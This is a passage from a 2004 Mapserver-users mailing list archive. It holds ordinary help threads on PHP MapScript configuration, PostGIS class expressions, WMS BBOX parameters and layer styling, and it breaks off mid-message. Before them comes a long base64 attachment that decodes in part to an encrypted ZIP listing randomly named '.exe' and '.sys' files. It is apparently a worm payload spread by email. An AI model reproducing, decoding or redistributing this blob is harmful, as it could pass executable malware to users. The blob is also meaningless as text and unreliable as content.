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
AAIAcgAAAA9XAAAAAA==
----------pqbwqzitcjjkrwdfwudb--
From j.l.h.hartmann@uva.nl Tue May 4 14:18:14 2004
From: j.l.h.hartmann@uva.nl (Jan Hartmann)
Date: Tue, 04 May 2004 15:18:14 +0200
Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript
In-Reply-To: <409790C1.7020001@ccgis.de>
References: <200404301413.i3UEDLA9011504@ccom.unh.edu> <409790C1.7020001@ccgis.de>
Message-ID: <40979816.3030808@uva.nl>
Benjamin Thelen wrote:
> Don't use –with-httpd=/usr/local/apache2/bin/httpd!
>
>
I stumbled over the same problem yesterday. The error message is
misleading. PHP-Mapscript requires PHP to have been compiled with
"--with-regex=system", but even if that is the case, the configure
script fails when called with "--with-apxs" or "-- with-apache". (Both
options seem to be currently disabled BTW). Could someone please adapt
this error message in the configure script? Lots of people seem to have
had this problem.
Jan
From Andrew.Simpson@ssc.nasa.gov Tue May 4 14:19:14 2004
From: Andrew.Simpson@ssc.nasa.gov (Simpson, Andrew)
Date: Tue, 4 May 2004 08:19:14 -0500
Subject: [Mapserver-users] PostGIS and CLass - Expression Help
Message-ID: <7F086B24179D91449EDA19F5FC928D0B01F2724E@sscleda2.ssc.nasa.gov>
Probably not the problem, but your CLASSITEM is "item_x" and your EXPRESSION
has [item_y].
-----Original Message-----
From: Till Adams [mailto:adams@terrestris.de]
Sent: Tuesday, May 04, 2004 4:57 AM
To: mapserverlist
Subject: [Mapserver-users] PostGIS and CLass - Expression Help
Dear list,
I'm stuck with making an expression on a postgis datasource (code see
below):
I get no error but also no labels at all - and there are labels, I'm
sure. I tried everything with quotations, capitalisation in my
expression, etc. but still get no results :-(.
NAME "xxx"
TYPE ANNOTATION
STATUS ON
CONNECTIONTYPE postgis
CONNECTION "user=admin dbname=datasrc host=localhost"
DATA "the_geom from (select * from view_x) as foo using unique item
using SRID=31493"
# viewx is a stored query in my database
METADATA
'WMS_SRS' 'epsg:31493'
'WMS_TITLE' 'xxx'
'WMS_FEATURE_INFO_MIME_TYPE' 'text/html'
END
PROJECTION
"init=epsg:31493"
END
CLASSITEM "item_x"
LABELITEM "label"
LABELANGLEITEM "angle"
CLASS
EXPRESSION ([item_y] > 1301) # /^13/
NAME "name"
LABEL
TYPE TRUETYPE
FONT 'arial'
SIZE 9
COLOR 0 0 0
END
END
[....]
When making sth. like 'EXPRESSION /^13/' I get results and see labels on
my map, but that's not enough for us. Maybe there's a problem because
the data does not result from a postgres table directly?
Any ideas, hints, similar problems out there?
Thanks very much in advance!
Till
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From nicolas.fortin@ec.gc.ca Tue May 4 14:22:02 2004
From: nicolas.fortin@ec.gc.ca (Fortin,Nicolas [SteFoy])
Date: Tue, 4 May 2004 09:22:02 -0400
Subject: [Mapserver-users] Problem on setting up an WMS server
Message-ID: <118A9CF846431048B65C4AFB0E57C0ED0372FA@ECQCSTFMAIL1.quebec.int.ec.gc.ca>
Hi Alexandros,
The values for the BBOX parameter must be in ordre : minx, miny, maxx, maxy
Hope this helps,
Nicolas
-----Message d'origine-----
De : Alexandros Chimarios [mailto:alhim@intracom.gr]
Envoyé : Tuesday, May 04, 2004 9:02 AM
À : mapserver-users@lists.gis.umn.edu
Objet : [Mapserver-users] Problem on setting up an WMS server
I have compiled the Mapserver 4.2 beta to support WMS server(succesfully
tested it !) and GetCapabilities works fine. However when I try thr GetMap
functionality instead of the image I get an xml file describing the following
error :
msWMSLoadGetMapParams(): WMS server error. Invalid values for BBOX.
This is the URL i try :
http://localhost/cgi-bin/mapserv?map=mywms.map&REQUEST=GetMap&LAYERS=earth&bbox=-110.0,40.0,-80.0,30.0&VERSION=1.1.1
Could anyone explain me what to do or send me an example test WMS-server map
file ?
This is mywms.map :
MAP
NAME DEMO
WEB
METADATA
"wms_title" "WMS DEMO SERVER"
"wms_onlineresource" "http://localhost/cgi-bin/mapserv?map=mywms.map&"
"wms_srs" "EPSG:4326"
END
END
LAYER
NAME earth
DATA "/usr/local/apache2/cgi-bin/geodata/data/cubeserv-best.jpg"
TYPE RASTER
END
END
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From norbert.thieme@ilmenau.baw.de Tue May 4 14:37:05 2004
From: norbert.thieme@ilmenau.baw.de (Norbert Thieme)
Date: Tue, 04 May 2004 15:37:05 +0200
Subject: [Mapserver-users] Coloring Problem
In-Reply-To: <409744DB.4020209@ilmenau.baw.de>
References: <20040504042718.E1C017267@sitemail.everyone.net> <409744DB.4020209@ilmenau.baw.de>
Message-ID: <40979C81.3000004@ilmenau.baw.de>
Norbert Thieme schrieb:
> Sam Choudry schrieb:
>
>> Hello,
>>
>> Here is the same old problem still not solved. I want to change the
>> color of my area layer "nal-blk" according to user input. For that I am
>> using the code:
>>
>> if($r!='' && $g!='' && $b!='')
>> {
>> $layer = $map->getlayerbyname("nal-blks");
>> $class = $layer->getclass(0);
>> $layer->open($map->shapepath);
>> $index = findindex($r,$g,$b);
>> $class->set('color',index);
>> }
>>
>>
>>
>> I am using a function I received from one of the list members,
>>
>> function findindex($r,$g,$b)
>> {
>> GLOBAL $map;
>> $r1=(int) $r;
>> $g1=(int) $g;
>> $b1=(int) $b;
>>
>> for($i=-10;$i<0;$i++)
>> {
>> $col=$map->getColorByIndex($i);
>> $tr=$col->red;
>> $tg=$col->green;
>> $tb=$col->blue;
>>
>> if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb))
>> {
>> $in=$i;
>> break; } }
>> $in=$in+1;
>> return($in);
>> }
>>
>>
>> The Error message are :
>> Warning: Wrong parameter count for open() in
>> c:\inetpub\wwwroot\php\nalbari.php on line 21
>>
>
> Hi,
>
> The layer->open() function don't except any paramters I think so simply
> leave it empty.
>
>> Fatal error: Property 'color' does not exist in this object.
>> in c:\inetpub\wwwroot\php\nalbari.php on line 23
>>
>
> The next message say that there is no color in the class-object. So you
> can't change it and I just had a look in the mapscript docs - there seem
> to be no color-object. If I don't have missed something there will be no
> way to change that but I think there should be one.
>
> I hope someone more experienced knows a workaround or can point us to
> the right objects/functions or docs.
>
> Regards,
> Norbert
>
>>
>> The Map File snippet is also provided:
>>
>> LAYER #DISTRICT BLOCKS#
>> NAME "nal-blks"
>> DATA nal-blks
>> STATUS ON
>> TYPE POLYGON
>> CLASS
>> NAME '0'
>> COLOR 219 250 253
>> OUTLINECOLOR 154 181 250
>> END
>> END
>> What can be the possile solution to this? Regards,
>>
>> Samuzzal
>>
>>
>> _____________________________________________________________
>> Linux.Net -->Open Source to everyone
>> Powered by Linare Corporation
>> http://www.linare.com/
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users@lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>
>
Hi,
sorry I was wrong. It was in the docs I only looked on the wrong point.
This is the way to go:
$addlyr_layer = ms_newLayerObj($map);
$addlyr_layer->set(status, MS_ON);
$addlyr_layer->set(name, $addlyr_file);
$addlyr_layer->set(data, $addlyr_string);
$addlyr_layer->set(type, 1);
$addlyr_class = ms_newClassObj($addlyr_layer);
$addlyr_class->set(name, "Class");
$addlyr_style = ms_newStyleObj($addlyr_class);
$addlyr_style->color->setRGB(10, 100, 10);
$image=$map->draw();
$image_url = $image->saveWebImage();
Regards,
Norbert
From bartvde@xs4all.nl Tue May 4 14:39:18 2004
From: bartvde@xs4all.nl (bartvde@xs4all.nl)
Date: Tue, 4 May 2004 15:39:18 +0200 (CEST)
Subject: [Mapserver-users] nesting of layers in WMS
Message-ID: <5350.212.238.227.182.1083677958.squirrel@webmail.xs4all.nl>
Hi list,
as most of you know Mapserver supports nesting of layers as a WMS server
by using the GROUP attribute for layers.
However this only supports nesting layers one level deep, while the OGC
WMS spec allows it to be nested infinitely.
Are there any plans for Mapserver to support a deeper level of nesting,
like e.g. the Cubewerx server supports? Will this still be practical with
the current MAP file format, or will it need an XML map file format?
Best regards,
Bart
From Charles.Blais@agr.gouv.qc.ca Tue May 4 14:52:29 2004
From: Charles.Blais@agr.gouv.qc.ca (Charles.Blais@agr.gouv.qc.ca)
Date: Tue, 4 May 2004 09:52:29 -0400
Subject: [Mapserver-users] Premature end of script headers: c:/php/php.exe
Message-ID: <6369CE0CFAE7D411AC900002A5092B390127E886@nclt1-ntcoup1.mapaq.gouv.qc.ca>
> Hi,
>
